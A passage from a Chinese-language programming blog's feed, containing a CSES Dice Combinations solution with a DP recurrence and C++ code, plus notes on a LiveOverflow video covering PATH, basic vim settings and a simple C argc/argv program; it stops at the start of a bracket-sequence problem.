xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>~<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>)<br>對於整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的整數拆分，可以看成有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>顆球一字排開，如此共有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>個空隙，每個空隙都可選擇放/不放一個隔板，此方法數與整數拆分方法數一一對應。如此共有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">2^{n-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>種方法。</p><p>而當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mi>k</mi><mo>≥</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">n=k\geq 7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>，欲組出總和為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>，可以是以下幾種情形：<br>- 前幾次已組出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">k-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，最後一次擲出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span><br>- 前幾次已組出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">k-2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，最後一次擲出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span><br>- 前幾次已組出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">k-3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>，最後一次擲出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span><br>等等，一直到<br>- 前幾次已組出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">k-6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>，最後一次擲出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span></p><p>於是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo fence="true">{</mo><mtable rowspacing="0.36em" columnalign="left left" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mrow><mi mathvariant="double-struck">d</mi><mi mathvariant="double-struck">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo stretchy="false">]</mo><mo>=</mo><msup><mn>2</mn><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msup><mo separator="true">,</mo><mtext> </mtext><mi>n</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>⋯</mo><mtext> </mtext><mo separator="true">,</mo><mn>6</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo stretchy="false">]</mo><mo>=</mo><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="false">]</mo><mo>+</mo><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo>−</mo><mn>2</mn><mo stretchy="false">]</mo><mo>+</mo><mo>⋯</mo><mo>+</mo><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo>−</mo><mn>6</mn><mo stretchy="false">]</mo><mo separator="true">,</mo><mtext> </mtext><mi>n</mi><mo>≥</mo><mn>7</mn></mrow></mstyle></mtd></mtr></mtable></mrow><annotation encoding="application/x-tex">\begin{cases}\mathbb{dp}[n]=2^{n-1}, \space n=1,2,\cdots,6  \\\mathrm{dp}[n]=\mathrm{dp}[n-1]+\mathrm{dp}[n-2]+\cdots+\mathrm{dp}[n-6],\space n\geq 7\end{cases}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.69em;"><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">d</span><span class="mord mathnormal">p</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">6</span><span class="mclose">]</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">7</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.19em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>喔然後記得模<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span></p><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> M <span class="token operator">=</span> <span class="token number">1e9</span><span class="token operator">+</span><span class="token number">7</span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> N_MAX <span class="token operator">=</span> <span class="token number">1e6</span><span class="token punctuation">;</span><span class="token keyword">long</span> <span class="token keyword">long</span> dp<span class="token punctuation">[</span>N_MAX<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span><span class="token number">6</span><span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span> <span class="token operator">&lt;&lt;</span> <span class="token punctuation">(</span>i<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">7</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>j<span class="token operator">&lt;=</span><span class="token number">6</span><span class="token punctuation">;</span>j<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+</span> dp<span class="token punctuation">[</span>i<span class="token operator">-</span>j<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">%</span> M<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  cout <span class="token operator">&lt;&lt;</span> dp<span class="token punctuation">[</span>n<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這裡用了一個技巧，<code>1 &lt;&lt; (i-1)</code>。其中<code>&lt;&lt;</code>是左移算子，表示在二進位表示中將整個數字往左移<code>i-1</code>格，然後在後面補<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。<br>比如<code>1 &lt;&lt; 5</code>的結果等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>100000</mn><mn>2</mn></msub><mo>=</mo><msup><mn>2</mn><mn>5</mn></msup><mo>=</mo><msub><mn>32</mn><mn>10</mn></msub></mrow><annotation encoding="application/x-tex">100000_2=2^5=32_{10}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">10000</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">3</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">10</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。所以<code>1 &lt;&lt; (i-1)</code>其實就是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">2^{i-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8247em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>的意思。</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/03/CSES-Dice-Combinations-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/03/CSES-Dice-Combinations-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-03T05:06:13.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p><s>DP? 想成高中數學的遞迴就好啦</s></p>
</blockquote>
<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>]]>
    </summary>
    <title>CSES Dice Combinations 題解</title>
    <updated>2026-06-03T05:06:13.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="C" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="vim" scheme="https://r3xdj.pages.dev/tags/vim/"/>
    <content>
      <![CDATA[<p>看了這部影片 <a href="https://youtu.be/JGoUaCmMNpE?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN">Writing a simple Program in C - YouTube</a> 做的筆記</p><h1 id="path" tabindex="-1">PATH</h1><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">env</span> <span class="token operator">|</span> <span class="token function">grep</span> <span class="token string">"PATH"</span> <span class="token comment"># or</span><span class="token builtin class-name">echo</span> <span class="token environment constant">$PATH</span> <span class="token comment">#this one</span><span class="token comment"># add to PATH(for one time)</span><span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">PATH</span></span><span class="token operator">=</span><span class="token environment constant">$PATH</span>:directory<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="vim-%E5%9F%BA%E7%A4%8E" tabindex="-1">vim 基礎</h1><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">:syntax on <span class="token comment">#上色</span>:set number <span class="token comment">#標號</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h1 id="c-%E8%AA%9E%E8%A8%80" tabindex="-1">C 語言</h1><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token operator">*</span>argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>argc<span class="token operator">==</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Knock, Knock, %s\n"</span><span class="token punctuation">,</span> argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"Usage: %s &lt;name>\n"</span><span class="token punctuation">,</span> argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>解析：</p><ul><li><p>argc: 參數數量(從檔案名稱算起)</p></li><li><p>argv: 參數矩陣(包含檔案名稱)<br>範例：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token operator">*</span>argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"argc: %d\n"</span><span class="token punctuation">,</span>argc<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"argv:\n"</span><span class="token punctuation">)</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>argc<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"\targv[%d]: %s\n"</span><span class="token punctuation">,</span> i<span class="token punctuation">,</span> argv<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>輸出：<br><img src="output.png" alt="output"></p></li></ul>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/03/Note-Writing-a-simple-Program-in-C-LiveOverflow/</id>
    <link href="https://r3xdj.pages.dev/2026/06/03/Note-Writing-a-simple-Program-in-C-LiveOverflow/"/>
    <published>2026-06-03T04:09:45.000Z</published>
    <summary>看了LiveOverflow 的 Writing a simple Program in C 這部影片之後做的簡要筆記</summary>
    <title>[Note] Writing a simple Program in C - LiveOverflow</title>
    <updated>2026-06-03T04:09:45.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Mathematics" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Mathematics/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="Catalan number" scheme="https://r3xdj.pages.dev/tags/Catalan-number/"/>
    <category term="number theory" scheme="https://r3xdj.pages.dev/tags/number-theory/"/>
    <category term="modulus" scheme="https://r3xdj.pages.dev/tags/modulus/"/>
    <category term="gcd" scheme="https://r3xdj.pages.dev/tags/gcd/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to calculate the number of valid bracket sequences of length <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>. For example, when <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">n=6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>, there are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span> sequences:</p><ul><li>()()()</li><li>()(())</li><li>(())()</li><li>((()))</li><li>(()())</li></ul><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The only input line has an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>.</td><td>Print the number of sequences modulo <span class="katex"><span class="katex-mathml"><math 